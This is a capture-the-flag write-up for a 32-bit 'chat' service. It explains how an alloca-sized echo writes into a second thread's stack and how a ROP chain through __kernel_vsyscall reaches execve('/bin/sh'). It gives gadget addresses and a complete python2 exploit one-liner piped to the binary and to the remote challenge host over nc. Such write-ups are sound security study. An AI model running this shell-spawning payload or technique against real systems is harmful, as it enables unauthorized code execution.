Challenge Text

To coordinate our efforts for a better future we started to build a chat program. While it doesn't have much functionality, yet, maybe you could have a look at it already to see if you can find any serious vulnerabilities. You know, better save than sorry!

nc chat.forfuture.fluxfingers.net 1337

Challenge Idea

ROP/Etc. in the stack of another thread.


Compiling the Sources:

clang -no-pie -static chat.c -lpthread -ochat -Wl,-z,now -Wl,-z,relro
strip -g chat

Docker from:

FROM i386/alpine

Docker entrypoint:

ENTRYPOINT ["/usr/bin/socat", "-t5", "-T60", "tcp-listen:1337,max-children=50,reuseaddr,fork", "exec:./chat,pty,raw,stderr,echo=0"]


$ checksec chat
[*] '/misc/projects/Chat/chat'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$ ./chat
Command Channel:
> /h
Command Commands:
    /nc - New Chat Channel - Create and join a new Chat Channel.
    /jc x   - Join Chat Channel - Join the Chat Channel number x.
    /lc - List Chat Channels - Lists the Chat Channels.
    /q  - Quit - Quit this awesome chat program.
    /h  - Help - Print this help message.
> /nc
Chat Channel 1:
> /h
Chat Commands:
    /e  - Echo - The first line following this command specifies the number of characters to echo.
    /pc - Pause Chat Channel - Return to Command Channel. The Chat Channel stays open.
    /qc - Quit Chat Channel - Return to Command Channel. The Chat Channel is terminated.
    /h  - Help - Print this help message.
That's all for now :/

The number of characters to echo are read with fgets and converted to an integer with atoi. Afterwards the memory for the characters is allocated with alloca. One cannot wrap esp around with alloca by providing a negative number of characters to echo, as the actual characters are also read with fgets. And fgets doesn't accept a negative size.


  • There is enough space in the command variable to place the string '/bin/sh', argv, and envp in the bss section.
  • Create two channels and allocate enough memory with alloca via the echo command in the first channel to write to the stack of the second channel.
  • ROP to execve.
# create channel 1
# pause channel 1 and return to command channel

# create channel 2
# pause channel 2 and return to command channel

# join channel 1 again
/jc 1\n

# echo a message
# length of the message is 250000 -> we write to the stack of channel 2
# + 2 NULL bytes (two because I like 0xC more than 0xB) + '/bin/sh' + NULL byte + addr of '/bin/sh' string in command + NULL dword
# send rop code

# terminate channel 1

# join channel 2
/jc 2\n

The function who's return address gets overwritten is __kernel_vsyscall:

 → 0xf7ffdb20 <__kernel_vsyscall+0> push   ecx
   0xf7ffdb21 <__kernel_vsyscall+1> push   edx
   0xf7ffdb22 <__kernel_vsyscall+2> push   ebp
   0xf7ffdb23 <__kernel_vsyscall+3> mov    ebp, esp
   0xf7ffdb25 <__kernel_vsyscall+5> sysenter 
   0xf7ffdb27 <__kernel_vsyscall+7> int    0x80

This function is called at address 0x08079004 in poll:

.text:08078FE8 loc_8078FE8:                            ; CODE XREF: poll+19↑j
.text:08078FE8                 mov     [esp+1Ch+var_10], edx
.text:08078FEC                 mov     [esp+1Ch+var_14], ecx
.text:08078FF0                 call    __libc_enable_asynccancel
.text:08078FF5                 mov     ecx, [esp+1Ch+var_14]
.text:08078FF9                 mov     edx, [esp+1Ch+var_10]
.text:08078FFD                 mov     esi, eax
.text:08078FFF                 mov     eax, 0A8h
.text:08079004                 call    large dword ptr gs:10h
.text:0807900B                 cmp     eax, 0FFFFF000h
.text:08079010                 ja      short loc_807903A

As one can see, the registers ecx and edx are pushed at the beginning of __kernel_vsyscall. Therefore, we can set ecx and edx conveniently due to __kernel_vsyscall's pops of these registers before its return.

ROP dissected:

# ebp

# edx -> envp points to NULL dword in command buffer -> envp = [NULL]

# ecx -> argv points in command buffer -> argv = ["/bin/sh", NULL]

# ret -> 0x0804901e : pop ebx ; ret
# ebx -> addr of command with '/bin/sh'

# ret -> 0x08051cf6 : pop eax ; ret
# eax -> shell code number

# ret -> 0x0807D3D0 : int 0x80 ; retn (_dl_sysinfo_int80)

This results in these commands:

$ (python2 -c "print '/nc\n/pc\n/nc\n/pc\n/jc 1\n/e\n250000\0\0/bin/sh\x00\x8c\x73\x0f\x08\x00\x00\x00\x00\n\x00\x00\x00\x00\x98\x73\x0f\x08\x94\x73\x0f\x08\x1e\x90\x04\x08\x8c\x73\x0f\x08\xf6\x1c\x05\x08\x0b\x00\x00\x00\xd0\xd3\x07\x08\n/qc\n/jc 2\n'"; cat - ) | ./chat
$ (python2 -c "print '/nc\n/pc\n/nc\n/pc\n/jc 1\n/e\n250000\0\0/bin/sh\x00\x8c\x73\x0f\x08\x00\x00\x00\x00\n\x00\x00\x00\x00\x98\x73\x0f\x08\x94\x73\x0f\x08\x1e\x90\x04\x08\x8c\x73\x0f\x08\xf6\x1c\x05\x08\x0b\x00\x00\x00\xd0\xd3\x07\x08\n/qc\n/jc 2\n'"; cat - ) | nc chat.forfuture.fluxfingers.net 1337

Apparently, the remote solution required execve('/bin/sh', ["/bin/sh", NULL], [NULL]) and didn't accept execve('/bin/sh', [NULL], [NULL]). However, this text book solution had the first execve to begin with and the requirement hasn't been noticed in time.